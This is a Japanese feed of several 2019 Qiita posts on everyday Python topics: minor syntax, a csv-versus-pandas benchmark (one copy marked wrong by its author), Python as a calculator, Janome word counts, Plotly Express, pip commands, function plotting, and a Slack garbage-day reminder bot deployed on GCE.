>>> print(...) Ellipsis >>> print(Ellipsis) Ellipsisちょこちょことnumpyのスライス記法で出てくるのですが,圧倒的にGooglabilityが低すぎて調べられないやつの1つだと思います.こいつはEllipsisと言います.「主に拡張スライス構文やユーザ定義のコンテナデータ型において使われる特殊な値」らしいです.また,Ellipsisという単語も組み込みとして入っているので,Ellipsisと打つとEllipsisを表すようです.そしてEllipsisは...です.なんだそれ.
pass文との違いは値として利用可能なので,変数に入ります.>>> a = ... >>> a Ellipsisなんだそれ.
虚数はiかjかで宗派が分かる
pythonには虚数も組み込みで入っています.バッテリー同梱済みです.
>>> print(2j) 2j >>> print((0.5+0.5j) * (0.0 + 1.0j)) (-0.5+0.5j)虚数を意味しているのはjです.電気系だと電流がIであらわされることが多いので,かぶるのを嫌ってjが使われたりしますが,そういうことなんでしょうか.
あんまり私は虚数を使うプログラムは組まないですが,2次元の回転とかを表すのに便利だったりします.そんなわけで,競技プログラミングやってる人が2次元の幾何だと便利だ.みたいなことを聞いたりします.累乗・切り捨て
全然マイナーではありませんが,pythonには累乗演算子があります.
>>> 2 ** 3 8 >>> (-1) ** 0.25 (0.7071067811865476+0.7071067811865475j)**で,累乗を表すことができます.負の数も0.xの数字で累乗して虚数にできます.これ地味にすごいと思いますが,使ってるの見たことない.
では,//は?>>> 2 // 3 0 >>> 2 / 3 0.6666666666666666割り算の切り捨て演算になります.
その昔,「Python3系になったら1/2が0.5を返す!やばい!どうやったら0が手に入るんだ!」みたいなことを言ってた時に,「これからは1//2だ.」みたいなことをよく読んだ気がします.今もそんな感じなのかな.@演算
pythonには@演算子というものがあります.
正直に言って見たことないですし,実装したこともないです.>>> class Obj: ... def __init__(self,value): ... self.value = value ... ... def __matmul__(self,obj): ... return "self:%d@obj:%d"%(self.value,obj.value) ... >>> a = Obj(2) >>> b = Obj(3) >>> print(a@b) self:2@obj:3一応行列の演算を表す演算子なのですが,実装されてるライブラリあるんですかね・・・?
たまたま,このマイナー文法企画を思いついたときに公式ドキュメントを漁って見つけましたが,他では聞いたことないです.まとめ
長いこと触っていると変なものにぶち当たったり変なことを経験していたりします.お金になることは少ないですが.あとはショートコーディングをしていると,こういう知識がついたりします.ショートコーディング自身はただの技芸的な遊びになりがちなのですが,限界まで短くすることをやっていると,今まで見たことなかったような関数や,言語仕様に出会うことがあります.コードを書いてて,なんかダサいなぁとか,なんかもうちょっと書き方あるんじゃないかなーとか感じることがあると思いますが,そういう時は言語のライブラリを使いこなせてなかったり,回りくどい文法を使っていることが多いです.そういう時に,ショートコーディングなんかをしてみると,意外な発見があって,言語の力を引き出す別の面を垣間見れます.プログラミング言語は2週間でマスターする.みたいなことも言われたりしますが,保守しやすいコードだったり,短くきれいなコードを書くには,こういう地味な知識というのが効いてきたりします.ここに書いてある内容はトリビアルなものが多いですが,読んでいただいて,この記事が「なんかどっかで見たことある」ぐらいの記憶の片隅にあれば幸いです.
- 投稿日:2019-05-26T15:16:45+09:00
csvファイルを書き出すならpandasよりcsvモジュールが速い?
CSVモジュールはpandasの数10倍速い?
読書記録をつけるため、csvファイルに1行ずつ追記していく単純な関数をPython3で作りました。pythonでは標準ライブラリにcsvモジュールがあるほか、pandasでもcsvに書き出せるということで、速度計測しました。
pandas%%timeit from time import strftime import pandas as pd def readlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None): df = pd.DataFrame([title,impression,key,page,author,time,url]).T df.to_csv('readlog.csv', mode='a', header=False) readlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition') # 1000 loops, best of 3: 878 µs per loopcsvモジュール%%timeit import csv from time import strftime def rdlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None): with open('rdlog.csv', mode='a') as f: writer = csv.writer(f) writer.writerow([title, impression, key, page, author, time, url]) rdlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition') # 10000 loops, best of 3: 26.3 µs per loop結果は
pandas
1000 loops, best of 3: 878 µs per loop
csvモジュール
10000 loops, best of 3: 26.3 µs per loop
Pandasを使いこなせてない可能性
pandasでググると、実行速度を爆速化する方法を説明した記事が複数個ヒットしたので、単に下手な使い方をしているだけかもしれません。
またあとで確認したいと思います。追記
pd.DataFrameのインスタンス生成がオーバーヘッドになっているとのご指摘を受けたのでチェック。比べると確かに重い…!
DataFrameインスタンス生成とリストの速度計測%timeit df = pd.DataFrame(['a', 'awesome', '23', None]).T # 1000 loops, best of 3: 344 µs per loop %timeit lst = ['a', 'awesome', '23', None] # 10000000 loops, best of 3: 103 ns per loopオーバーヘッドはここだけ?
では、この箇所以外は問題ないかと言うと、そうでもありませんでした。
pd.DataFrame.to_csvもまた、csvモジュールよりベストな結果では30倍遅いという結果に(下記3と4)。計測方法などに不備がありましたら、お知らせください。すごく助かります。以下、コードとその下に %timeitの計測結果です。
1. DataFrameからリストに変換して、csvモジュールで書き込み。セル全体の実行時間を計測。
2. リストからDataFrameに変換して、pd.DataFrame.to_csvで書き込み。セル全体の実行時間を計測。
3. csvモジュールで書き込みだけする関数を作り、実行時間を計測。
4. pd.DataFrame.to_csvの実行時間を計測。1.DataFrame→List%%timeit df = pd.DataFrame(['a', 'awesome', '23', None]) lst = df.values.tolist() with open('test.csv', mode='a') as f: writer = csv.writer(f) writer.writerow(lst) # 1000 loops, best of 3: 285 µs per loop1000 loops, best of 3: 285 µs per loop(DataFrame→List)
2.List→DataFrame%%timeit lis = ['a', 'awesome', '23', None] df = pd.DataFrame(lis).T df.to_csv('pdtest.csv', 'a') # 1000 loops, best of 3: 1.01 ms per loop1000 loops, best of 3: 1.01 ms per loop(List→DataFrame)
3.pd.DataFrame.to_csv%timeit df.to_csv('pdtest.csv', 'a') # 1000 loops, best of 3: 613 µs per loop1000 loops, best of 3: 613 µs per loop(pd.DataFrame.to_csv)
4.csvモジュールdef csvopen(): with open('test.csv', mode='a') as f: writer = csv.writer(f) writer.writerow(lst) %timeit csvopen() # 10000 loops, best of 3: 22.2 µs per loop10000 loops, best of 3: 22.2 µs per loop(csvモジュール)
- 投稿日:2019-05-26T15:16:45+09:00
csvファイルを書き出すならpandasよりcsvモジュールが速い?【違います】
内容間違ってます。正しい内容はコメントにあり
正しい内容はこちらとこちら。両方ともこの投稿へのコメントです。
以下、記事の内容は間違っていますが、誰かが同じ勘違いをしてもこれを読んでミスに気づくよう残しておきます。CSVモジュールはpandasの数10倍速い?
読書記録をつけるため、csvファイルに1行ずつ追記していく単純な関数をPython3で作りました。pythonでは標準ライブラリにcsvモジュールがあるほか、pandasでもcsvに書き出せるということで、速度計測しました。
pandas%%timeit from time import strftime import pandas as pd def readlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None): df = pd.DataFrame([title,impression,key,page,author,time,url]).T df.to_csv('readlog.csv', mode='a', header=False) readlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition') # 1000 loops, best of 3: 878 µs per loopcsvモジュール%%timeit import csv from time import strftime def rdlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None): with open('rdlog.csv', mode='a') as f: writer = csv.writer(f) writer.writerow([title, impression, key, page, author, time, url]) rdlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition') # 10000 loops, best of 3: 26.3 µs per loop結果は
pandas
1000 loops, best of 3: 878 µs per loop
csvモジュール
10000 loops, best of 3: 26.3 µs per loop
Pandasを使いこなせてない可能性
pandasでググると、実行速度を爆速化する方法を説明した記事が複数個ヒットしたので、単に下手な使い方をしているだけかもしれません。
またあとで確認したいと思います。追記
pd.DataFrameのインスタンス生成がオーバーヘッドになっているとのご指摘を受けたのでチェック。比べると確かに重い…!
DataFrameインスタンス生成とリストの速度計測%timeit df = pd.DataFrame(['a', 'awesome', '23', None]).T # 1000 loops, best of 3: 344 µs per loop %timeit lst = ['a', 'awesome', '23', None] # 10000000 loops, best of 3: 103 ns per loopオーバーヘッドはここだけ?→間違い判明
では、この箇所以外は問題ないかと言うと、そうでもありませんでした。
pd.DataFrame.to_csvもまた、csvモジュールよりベストな結果では30倍遅いという結果に(下記3と4)。計測方法などに不備がありましたら、お知らせください。すごく助かります。以下、コードとその下に %timeitの計測結果です。
1. DataFrameからリストに変換して、csvモジュールで書き込み。セル全体の実行時間を計測。
2. リストからDataFrameに変換して、pd.DataFrame.to_csvで書き込み。セル全体の実行時間を計測。
3. csvモジュールで書き込みだけする関数を作り、実行時間を計測。
4. pd.DataFrame.to_csvの実行時間を計測。1.DataFrame→List%%timeit df = pd.DataFrame(['a', 'awesome', '23', None]) lst = df.values.tolist() with open('test.csv', mode='a') as f: writer = csv.writer(f) writer.writerow(lst) # 1000 loops, best of 3: 285 µs per loop1000 loops, best of 3: 285 µs per loop(DataFrame→List)
2.List→DataFrame%%timeit lis = ['a', 'awesome', '23', None] df = pd.DataFrame(lis).T df.to_csv('pdtest.csv', 'a') # 1000 loops, best of 3: 1.01 ms per loop1000 loops, best of 3: 1.01 ms per loop(List→DataFrame)
3.pd.DataFrame.to_csv%timeit df.to_csv('pdtest.csv', 'a') # 1000 loops, best of 3: 613 µs per loop1000 loops, best of 3: 613 µs per loop(pd.DataFrame.to_csv)
4.csvモジュールdef csvopen(): with open('test.csv', mode='a') as f: writer = csv.writer(f) writer.writerow(lst) %timeit csvopen() # 10000 loops, best of 3: 22.2 µs per loop10000 loops, best of 3: 22.2 µs per loop(csvモジュール)
- 投稿日:2019-05-26T14:25:49+09:00
PythonをWindowsの関数電卓代わりに使う
概要
- windows標準の関数電卓やExcelは工学系にとって使いづらい。
- Pythonを関数電卓として使うと便利。
はじめに
複雑な数式を扱う工学系の学生や電気/機械設計エンジニアにとってwindows標準の関数電卓は使いづらくありませんか。計算式の途中を間違えると最初からやり直しですし、変数も使えないうえ、複素数も扱えません。
Excelであれば実数と虚数でセルを分けて計算できるため少しマシですが、直感的ではなく扱いづらいですし、何よりスマートでないです。
代わりとして、Pythonを用いればすべての問題を解決できます。比較
例題
私は回路設計エンジニアで、複素数を扱います。例えば以下のような計算が日常的に現れます。
\Gamma = \left | \frac{Z_{L}-Z_{0}}{Z_{L}+Z_{0}} \right | \\ Z_{L}=52.35+39.54j \\ Z_{0}=76.89-20.87jこれを例に計算をおこないます。
Windowsの関数電卓を用いる場合
Γの計算をwindowsの関数電卓で行う場合、手順は以下のようになります。
1.実部のみを計算(52.35-76.89)/(52.35+76.89)≒-0.1202.虚部のみを計算
(39.54-20.87)/(39.54+20.87)≒0.4853.絶対値を計算
\sqrt{(-0.120)^2+(0.485)^2}≒0.499これらを手打ちするのはかなりハードです。同じ数字を何度も打つので時間がかかりますし、途中で打ち間違えに気が付いても修正できません。
Pythonを用いる場合
先ほどと同じ計算をPythonでおこないます。Pythonが標準で複素数をサポートしているので楽に計算ができます。
#変数に代入する。 zl = 52.35+39.54j z0 = 76.89-20.87j #計算する。 gamma = abs((zl-z0)/(zl+z0)) print(gamma)実行結果 : 0.4993364571001565
こちらの計算方法は直感的で、打ち間違えの修正も簡単です。
効率や簡単さの点からPythonの圧勝です。起動時にmathライブラリをimportする
Pythonのコンソールを開いてすぐの状態では、対数や三角関数などの基本的な計算がサポートされていません。Pythonを日常的に使う場合には不便なので、起動時にmathライブラリをインポートします。
calc.pyfrom math import *calc_lancher.bat@echo off python -i calc.py複素数を扱う場合はmathライブラリの代わりにcmathライブラリをimportしてください。
このバッチをキーボードの電卓キーに登録すると、いつでも簡単に開けて便利です。
- 投稿日:2019-05-26T13:47:49+09:00
Janomeを使って品詞の出力頻度を調べる。
Janomeをインストールする
$ pip install janome読み込んだテキストファイルを形態素解析して、名詞をカウント
sample.pyfrom janome.tokenizer import Tokenizer import zipfile import os.path, urllib.request as req import sys from sys import argv import time # テキスト読み込む input_file_path = sys.argv[1] part_of_speech = sys.argv[2] f = open(input_file_path,'r',encoding = 'utf-8') txt = f.read() # 形態素解析オブジェクトの生成 t = Tokenizer() # テキストを一行ずつ処理 word_dic = {} lines = txt.split("\r\n") for line in lines: malist = t.tokenize(line) for w in malist: word = w.surface # 品詞 ps = w.part_of_speech # 名詞だけカウントする if ps.find(part_of_speech) < 0: continue if not word in word_dic: word_dic[word] = 0 word_dic[word] += 1 # 頻出単語を表示 keys = sorted(word_dic.items(), key=lambda x:x[1], reverse=True) for word, cnt in keys[:50]: print("{0}({1}) ".format(word, cnt), end="")$ python sample.py ファイル名 品詞出力結果(名詞)
仕事(176) こと(155) 1(151) の(143) 円(134) ((129) 外(118) 利用(117) ,(113) 税(112) detail(107) https(106) jp(106) ://(104) chiebukuro(98) co(97) yahoo(96) 検査(92) 人(89) =(80) お客様(79) 名(75) 000(72) サービス(70) &(70) 人材(69) 当社(68) 場合(68) 2(64) 数(62) q(61) 会社(60) |(60) 私(59) よう(58) 採用(55) 精神(54) ]((54) ご(52) 時間(52) 何(51) qa(51) %(51) お(50) question(49)出力結果(形容詞)
いい(37) ない(35) 良い(27) なく(14) 辛い(14) 無い(11) 欲しい(9) 問題(8) 若い(7) 甘い(6) 少なく(5) 大きく(5) 悪い(5) 仕方(5) 辛く(5) 良く(5) 高い(4) 楽しく(4) 多い(4) 新しい(4) すごく(4) 多く(4) 難しい(4) 怖い(4) 少ない(3) 悪く(3) 無く(3) 強く(3) 早く(3) 遅く(3) ふさわしい(3) 楽しい(3) 難い(3) なし(3) 低い(3) よく(3) 永く(2) ほしい(2) 悪かっ(2) 大きい(2) 少なから(2) 限り(2) 等しく(2) うまく(2) 暑い(2) 忙しい(2) しょうが(2) づらい(2) つらい(2) 酷い(2)参考
- 投稿日:2019-05-26T13:41:28+09:00
[Python]Plotlyのラッパーライブラリ「Plotly Express」をテスト書きした
私がPythonのグラフライブラリとしてイチオシする
Plotly
にラッパーライブラリがリリースされたらしく、テスト書きをしました。なお、私のPythonバージョンは
3.8.0
です。$ python --version Python 3.8.0a3+インストール
$ pip install plotly_expressテスト書きで用いるデータ
Iris
ではモチベーションが上がらないので、ニューヨーク・メッツのノア・シンダーガードのデビューからの投球トラッキングデータを抜いてきました。import pybaseball as pb # MLB Advanced Mediaからデータを抜くためのID key = pb.playerid_lookup("Syndergaard", "Noah")["key_mlbam"].values[0] # データがpandas.DataFrameで返ってきます data = pb.statcast_pitcher("2015-01-01", "2019-12-31", key) # データ整形 # 投球日・イニング・投球数でソート data = data.sort_values(["game_date", "inning", "at_bat_number", "pitch_number"]) # 球種データがNaNの場合は行ドロップ data = data.dropna(subset=['pitch_type'])
plotly_express
でテスト書きグラフ自体の実用性は抜きにしてガンガンテストしました。
散布図
import plotly_express as px px.scatter(data, x="seq", y="release_speed", color="pitch_type")
Plotly
ではデータ別にシーケンシャルな数値もしくはカラーコードを決めないとダメだったカラー分け散布図が1行で!
pandas.DataFrame
の値をカラーコードに変換する辞書型を定義してmap
する日々からバイバイ出来ました。3次元散布図
px.scatter_3d(data, x="seq", y="release_speed", z="release_spin_rate", color="pitch_type")折れ線グラフ
px.line(data, y="release_speed", color="pitch_type")面グラフ
px.area(data, x="game_date", color="pitch_type")ヒストグラム
px.histogram(data, x="inning", color="pitch_type")箱ひげ図
px.box(data, y="release_speed", color="pitch_type")ヴァイオリン図
px.violin(data, y="release_speed", color="pitch_type")アニメーション
# GIF化してグラフは差し替え予定です
px.scatter(data, x="release_spin_rate", y="release_speed", color="pitch_type", animation_frame="game_year")
animation_frame
でフレームの単位を決めるとアニメーションが作れます。ただし、duration
とredraw
はラッパー側で500・True
で固定でコントロール出来ない様です。マージナルグラフ
px.scatter(data, x="seq", y="release_speed", color="pitch_type", marginal_y="box")メインのグラフの周辺にマージナルなグラフを作ることが出来ます。
marginal_y
でY軸データ、marginal_x
でX軸データを用いたグラフを付与出来ます。まとめ
非常にシンプルなコードで
Plotly
製のグラフをサクッと仕上げることが出来ました。キチンと比べてはいないですが、たぶんseaborn
よりスゴイです。
おいでよ、Plotlyの森。追伸
他にグラフのノウハウを発見した場合は適宜アップデートします。
- 投稿日:2019-05-26T13:14:24+09:00
pip 利用頻度の高いコマンド
インストールしたパッケージ一覧を確認
freezeはpip自身、パッケージ管理を行うsetuptools・wheelなどは表示されない。
$ pip list $ pip freezeインストールしたパッケージの詳細確認
$ pip show パッケージ名
パッケージのインストール
1つのパッケージをインストール
$ pip install パッケージ名複数パッケージをインストール
$ pip install パッケージ名, パッケージ名, ・・・バージョンを指定してインストール
$ pip install パッケージ名==バージョンパッケージのアップデート
パッケージのアップデート
$ pip install -U パッケージ名pip自身のアップデート
$ pip install -U pipパッケージのアンインストール
1つのパッケージのアンインストール
$ pip uninstall -y パッケージ名複数パッケージをアンインストール
$ pip uninstall -y パッケージ名, パッケージ名, ・・・インストールしたパッケージの依存関係に問題がないかチェック
$ pip check
別環境へパッケージインストール状況を移行
#現在の環境の設定ファイルを出力 $ pip freeze > requirements.txt #一括インストール $ pip install -r requirements.txt
- 投稿日:2019-05-26T13:01:53+09:00
#python で 例外 ( runtime error ) を発生させる raise RuntimeError('message')
- 投稿日:2019-05-26T12:50:57+09:00
python
FX
https://qiita.com/haminiku/items/a032d94e4f0d862df2b2
機械学習 gem利用方法
https://employment.en-japan.com/engineerhub/entry/2018/11/09/110000
基本文法
https://qiita.com/Fendo181/items/a934e4f94021115efb2e
len()文字数カウントstr()文字列に変換するtype()型の判別input()gets論理型2 * 5 == 10変数定義number = "Hello World"dict = {"title": "ワンパン"} print(dict) print(dict["title"])ifif value > 4: print("hello") elif value == 3: print("ddd") else: print("eveneing")関数def number_count(): print("5") print("6") print("7") print("8") print("9") print("10")文字列メソッドstartswith() find() rfind() count() capitalize() title() upper() lower() replace() format "a is {}".format("a") →"a is a" "a is {0} {1} {2}".format(1,2,3) → a is 1 2 3配列pencil_case = ['apple', 'banana', 'parble'] 追加 append 範囲 pencil_case[0:1] →'apple', 'banana' pencil_case[:1] →最初から1まで pencil_case[1:] →1から最後までクラスメソッドclass クラス名: @classmethod def メソッド名(cls):インスタンス作成post = Post() post.write_post() post.show_post()インスタンスメソッドclass クラス名: def メソッド名(self): # 処理インスタンス変数定義class クラス名 def sample(self): self.text = "hoge"イニシャライザーclass クラス名: def __init__(self, 引数): self.引数 #インスタンス変数の宣言。引数の値が変数の中身になる。 print("クラス名のインスタンスが生成されました") インスタンス = クラス名()ゲッターセッター
http://tarao-mendo.blogspot.com/2017/07/essential-python-8.html
継承class 子クラス名(親クラス名): class Post: class PostDetail(Post):
- 投稿日:2019-05-26T12:42:04+09:00
pythonで関数をグラフに可視化
概要
レポートの作成などで得られた関数をグラフに表したいことは非常に多い。ここではフィッティングなどの場面で用いられるローレンツ関数を例としてpythonでグラフを描画し保存する方法を解説する
環境
PC:windows10(64bit)
python3.6.8
matplotlib2.2.0
numpy1.16.0
jupyter notebook1.1.0ライブラリのインストールはpipにより行っている。
pip install jupyter notebookpip install numpypip install matplotlib理論
ローレンツ関数は以下の式で表される。
f(x) = y0 + \frac{1}{\pi} \frac{\omega}{(x-x0)^2 + \omega^2}関数の定数としてω,x0,y0を含む。
関数の概形は下の結果を参照していただきたい。x = x0で極大値をとる。コード
それではpython でローレンツ関数を描画していく。
コードは以下の通りである。
import pylab as plt import numpy as np xmin=-5; xmax=5; npoints=100 delta=(xmax-xmin)/npoints w=2; x0=0; y0=0 x=np.arange(xmin,xmax,delta) y=y0+(1/np.pi)*(w/(((x-x0)**2)+w**2)) plt.plot(x,y,'r',lw=2) plt.xlabel("x") plt.ylabel("f(x)") plt.title("lorentz function") plt.grid(True) plt.savefig('figure.png') plt.show()pylabとnumpyをインポート
import pylab as plt import numpy as np定義域(xmin,xmax)とデータ点の数(npoints)を指定する
xmin=-5; xmax=5; npoints=100 delta=(xmax-xmin)/npoints定義域、データ点が決まるとデータ点の間隔δも決定する。
関数内の定数を指定
w=2; x0=0; y0=0これで関数を描画するために必要な情報が揃う。
関数の定義
x=np.arange(xmin,xmax,delta) y=y0+(1/np.pi)*(w/(((x-x0)**2)+w**2))ローレンツ関数を定義する
xはx軸の配列でyは各xの値に対応するyの値を決定する。
関数の描画とグラフの保存
plt.plot(x,y,'r',lw=2) plt.xlabel("x") plt.ylabel("f(x)") plt.title("lorentz function") plt.grid(True) plt.savefig('figure.png') plt.show()plot()でデータ点の指定と線の色('r')と線幅(lw=2)を決める
savefig()でグラフを保存する
show()でjupyter notebook内にグラフを表示する
結果
実行結果は以下の通りである。
.pngファイルとして保存したグラフを示している
まとめ
ローレンツ関数を例としてpythonで関数を描画する方法を解説した。
適宜描画したい関数に合わせてコードを変更すればよい
参考
- 投稿日:2019-05-26T12:17:55+09:00
もう家庭ゴミを捨て忘れない(Slackに定期投稿するbotをPythonで作成し、GCEで運用する)
概要
こんにちは。Qiita初投稿です。
皆さん、家庭ゴミを忘れずに捨てられていますか?
定期的に一定量発生する可燃ゴミはともかく、ビン・カン・ペットボトルや古紙などは忘れがちだったので、我が家ではSlackのリマインダーを設定していました。
ただ、このリマインダー、第○週○曜日のようなカスタマイズができません。
我が家には、第1・3木曜日に捨てられる不燃ゴミがもう2ヶ月ほどリビングにありました。そこで、第1・3木曜日の前日20時にSlackに投稿するbotをPythonで作成し、GoogleCloudEngine(以下GCE)で運用することにしました。その手順を残します。
手順
- Slackでアプリを作成し、Tokenを取得する
- Pythonのslackerライブラリを用いてSlack botを作成する
- Pythonのpython-crontabライブラリを用いて定期実行する環境を作成する
- botを実行する仮想環境をDockerfileで作る
- DockerイメージをGoogleCloudPlatform(以下GCP)のContainerRegistryにPushしてGCEにデプロイする
以下は上記の番号と連動した作業手順のイメージです。
準備しておく環境
Python・Docker・GoogleSDKをインストールし、
gcloud auth login
で認証を済ませてください。
またGCPにプロジェクトを1つ用意してください。※botの作成まででしたらPython以外必要ありません。
参考ドキュメント
- Install Docker Desktop for Mac | Docker Documentation
- クイックスタート | Cloud SDK | Google Cloudバージョン
$ python --version Python 3.6.4 :: Anaconda, Inc. $ docker --version Docker version 18.09.2, build 6247962 $ gcloud --version gcloud --version Google Cloud SDK 246.0.0 bq 2.0.43 core 2019.05.10 gsutil 4.38Slackでアプリを作成し、Tokenを取得する
手順は以下です。
1. アプリを作成する。(アプリ名とWorkspaceを決める)
2. Permissionを設定する
3. Workspaceにアプリをインストールする
4. Slack API Tokenを取得するアプリを作成する
Slack API: Applications | Slack にアクセスし、
Create New App
をクリックしてください。アプリ名とWorkspaceを決めてください。ここではblogと名付けます。
Permissionを設定する
作成したアプリがSlack APIを通して、なにを行ってよいのかを設定します。
作成後に遷移するページ、またはアプリの「Basic Information」ページの中のScopes欄へ。
今回は、メッセージの送信のみなので、Send messages as blog
のみ選びます。
※Slack内でbotにメンションを飛ばして相互にやりとりをしたい場合は、「Bot Users」の欄から「Add a Bot User」で表示名等を決めてAddしましょう
Workspaceにアプリをインストールする
作成したアプリをWorkspaceにインストールします。
同ページ、またはアプリの「OAuth & Permissions」ページにある
Install App to Workspace
をクリックし、許可
してください。Slack API Tokenを取得する
botを作成する際に使う、Slack API Tokenを記録しておきます。
Pythonのslackerライブラリを用いてSlack botを作成する
まずslackerライブラリをインストールします。
$ pip install slackerSlack API Tokenを渡してslackerインスタンスを作成し、投稿したいチャンネルとメッセージを設定すればbotがslackに投稿します。
後々のことも考えてSlack API Tokenは環境変数に設定し、参照するようにします。$ export SLACK_TOKEN=${your slack api token} $ cat test_post.py # -*- coding: utf-8 -*- from slacker import Slacker import os def main(): slack_token = os.environ['SLACK_TOKEN'] slack = Slacker(slack_token) slack.chat.post_message('random', 'これはテスト投稿です') if __name__ == '__main__': main() $ python test_post.py投稿されました!!
それでは投稿すべきタイミングなのかを判定するロジックを追加しましょう。
前日の20時に明日が第1・3木曜日を判定します。$ cat test_post.py # -*- coding: utf-8 -*- from slacker import Slacker import os import datetime def get_week_number(dt): """ datetime型を受け取って、週番号を返す """ day = dt.day week = 0 while day > 0: week += 1 day -= 7 return week def post_regular(slack): TARGET_WEEKDAY = 3 TARGET_WEEKNUMBER = (1, 3) tomorrow = datetime.datetime.now() + datetime.timedelta(days=1) # 木曜日かどうかを判定 if tomorrow.weekday() != TARGET_WEEKDAY: return # 第1・3週かどうかを判定 if get_week_number(tomorrow) not in TARGET_WEEKNUMBER: return slack.chat.post_message('bot_test', '明日は第1・3木曜日です') def main(): slack_token = os.environ['SLACK_TOKEN'] slack = Slacker(slack_token) post_regular(slack) if __name__ == '__main__': main()曜日や週番号を変えたい場合は、TARGET_WEEKDAYやTARGET_WEEKNUMBERを変えましょう。
参考記事
- PythonでSlackbotを作る(3) – ビットログ
- Pythonで今日が今月の第何何曜日か調べる - QiitaPythonのpython-crontabライブラリを用いて定期実行する環境を作成する
まず、python-crontabライブラリをインストールします。
$ pip install python-crontab実行すべきコマンドとスケジュールをファイルに書き出し、そのファイルをモニターして、
スケジュールに沿ってコマンドを実行します。$ cat test_cron.py # -*- coding: utf-8 -*- from crontab import CronTab class CrontabControl: def __init__(self): self.cron = CronTab() self.job = None self.all_job = None def write_job(self, command, schedule, file_name): self.job = self.cron.new(command=command) self.job.setall(schedule) self.cron.write(file_name) def read_jobs(self, file_name): self.all_job = CronTab(tabfile=file_name) def monitor_start(self, file): self.read_jobs(file) for result in self.all_job.run_scheduler(): print('予定していたスケジュールを実行しました。') def main(): command = 'python ./test_post.py' schedule = '0 20 * * *' file = 'output.tab' c = CrontabControl() c.write_job(command, schedule, file) c.monitor_start(file) if __name__ == '__main__': main()botを実行する仮想環境をDockerfileで作る
pythonイメージを元に、必要なライブラリをインストールして、
test_cron.py
を実行するようDockerfileを作成します。GCEで運用する際は、タイムゾーンを変更するのを忘れないようにしましょう。
そうでないと、朝の5時にゴミ出しの通知が届くことになります。。。# requirements.txtを用意する $ pip freeze > requirements.txt # 私の環境は以下です $ cat requirements.txt certifi==2019.3.9 chardet==3.0.4 croniter==0.3.30 idna==2.8 python-crontab==2.3.6 python-dateutil==2.8.0 requests==2.21.0 six==1.12.0 slackbot==0.5.3 slacker==0.13.0 urllib3==1.24.3 websocket-client==0.44.0 $ cat Dockerfile FROM python:3.6.4-stretch ADD . /code WORKDIR /code RUN pip install -r requirements.txt # GCEはタイムゾーンがUTCになっているため、JSTに変更する ENV TZ='Asia/Tokyo' CMD ["python", "cron.py"]DockerイメージをGCPにPushしてGCEにデプロイする
GCPには、Dockerイメージを保存、管理できる「Container Registry」というサービスがあります。
先ほどのDockerfileをもとにDockerイメージを作成するのですが、「Container Registry」にPushするためのタグの付け方に決まりがあります。イメージの push と pull | Container Registry | Google Cloud
[HOSTNAME]/[PROJECT-ID]/[IMAGE]$ cat bin/deploy # カレントディレクトリのDockerfileをもとにbotという名前のDockerイメージを作成 docker build -t bot . # [HOSTNAME]/[PROJECT-ID]/[IMAGE] でタグ付け docker tag bot asia.gcr.io/$PROJECT_ID/bot:latest # Container Registry にPush gcloud docker -- push asia.gcr.io/$PROJECT_ID/bot:latest $ chmod +x bin/deploy $ export PROJECT_ID=${your gcp project id} $ bin/deployGCPの「Container Registry」の項目にいくと、botという名前のDockerイメージがあがっていることが確認できます。
そのDockerイメージから「GCEにデプロイ」を選んでください。GCEを無料で運用するためには条件があるので、設定を変更しましょう。
参考ドキュメント
GCP の無料枠 | Google Cloud Platform の無料枠 | Google Cloud
参考記事
GCPで永久無料枠を利用してサービスを立ち上げたときにしたことの備忘録 - Qiita以上で終了です!
その他
再デプロイする
botの設定に変更加えたりして再デプロイしたい場合は、以下の手順で行えます。
- ローカルでコードに変更を加える
- Dockerイメージを作成し、「Container Registry」に再度Push(bin/depoy)
- 作成したインスタンスをリスタートする
作成したbotのソース
※毎週パターンにも対応できるようにしたりと改良を加えていますが、ソースはGithubにあげてあります。
https://github.com/aikiyy/regular_bot結論
24時間ゴミ出し可能な家は神